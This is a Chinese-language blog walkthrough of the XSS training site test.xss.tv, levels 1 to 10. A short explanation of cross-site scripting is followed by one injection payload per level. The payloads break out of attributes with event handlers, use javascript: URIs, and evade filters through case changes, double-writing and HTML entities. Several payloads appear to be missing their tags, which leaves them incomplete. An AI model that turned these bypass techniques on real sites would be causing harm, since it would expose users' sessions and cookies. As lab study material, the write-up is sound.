WEB——XSS注入

前记

XSS攻击
通常指的是通过利用网页开发时留下的漏洞,通过巧妙的方法注入恶意指令代码到网页,使用户加载并执行攻击者恶意制造的网页程序。这些恶意网页程序通常是JavaScript,但实际上也可以包括Java、 VBScript、ActiveX、 Flash 或者甚至是普通的HTML。攻击成功后,攻击者可能得到包括但不限于更高的权限(如执行一些操作)、私密网页内容、会话和cookie等各种内容。
简述
人们经常将跨站脚本攻击(Cross Site Scripting)缩写为CSS,但这会与层叠样式表(Cascading Style Sheets,CSS)的缩写混淆。因此,有人将跨站脚本攻击缩写为XSS。跨站脚本攻击(XSS),是目前最普遍的Web应用安全漏洞。这类漏洞能够使得攻击者嵌入恶意脚本代码到正常用户会访问到的页面中,当正常用户访问该页面时,则可导致嵌入的恶意脚本代码的执行,从而达到恶意攻击用户的目的。
原理
HTML是一种超文本标记语言,通过将一些字符特殊地对待来区别文本和标记,例如,小于符号(<)被看作是HTML标签的开始,与之间的字符是页面的标题等等。当动态页面中插入的内容含有这些特殊字符(如<)时,用户浏览器会将其误认为是插入了HTML标签,当这些HTML标签引入了一段JavaScript脚本时,这些脚本程序就将会在用户浏览器中执行。所以,当这些特殊字符不能被动态页面检查或检查出现失误时,就将会产生XSS漏洞。
题目网址:http://test.xss.tv/

level1

WEB——XSS注入_第1张图片
第一关就用最常用的攻击语句试试。
payload:


WEB——XSS注入_第2张图片

level2

WEB——XSS注入_第3张图片
观察源代码,发现需要把前面的标签给闭合掉。
payload:

">

WEB——XSS注入_第4张图片

level3

WEB——XSS注入_第5张图片
观察页面源代码,是单引号,在前面加'value给闭合掉。
payload:

' onmouseover='alert(1)

WEB——XSS注入_第6张图片

level4

WEB——XSS注入_第7张图片
这里是双引号,在前面输入",把value给闭合掉。
payload:

" onmouseover="alert(1)

WEB——XSS注入_第8张图片

level5

WEB——XSS注入_第9张图片
试试script,再看页面源代码,script被过滤了,那就用标签构造攻击语句试试。
payload:

">aa//

WEB——XSS注入_第10张图片

level6

WEB——XSS注入_第11张图片
发现hrefscript都被过滤了,在上题基础上换大写试试。
payload:

">aa//

然后点击aa标签即可。
WEB——XSS注入_第12张图片

level7

WEB——XSS注入_第13张图片
用双写绕过,过滤掉其中的script,但是一旦过滤掉,前后又可以重新拼接起来,形成一个完整的语句。
payload:

  ">alert(/hacker/)

WEB——XSS注入_第14张图片

level8

WEB——XSS注入_第15张图片
下面有标签,直接输入这个语句

javascript:alert(/hacker/)

但是script会被过滤,换一种方式表达script,采用HTML字符实体转换地址。
payload:

javascript:alert(1)

WEB——XSS注入_第16张图片

level9

WEB——XSS注入_第17张图片
又是友情链接,发现输入的语句并没有进入到 标签中,这里应该对格式有一定要求,查看其他博客后发现需要添加http://,否则不合法。
payload:

javascript:alert('http://')

WEB——XSS注入_第18张图片

level10

WEB——XSS注入_第19张图片

查看页面源代码,发现t_sort就是注入点,那就开始注入吧,代码中有隐藏的参数设置,把hidden改为text
payload:

&t_sort=8888" type="text" onmouseover="alert(666)

WEB——XSS注入_第20张图片

你可能感兴趣的:(学习笔记)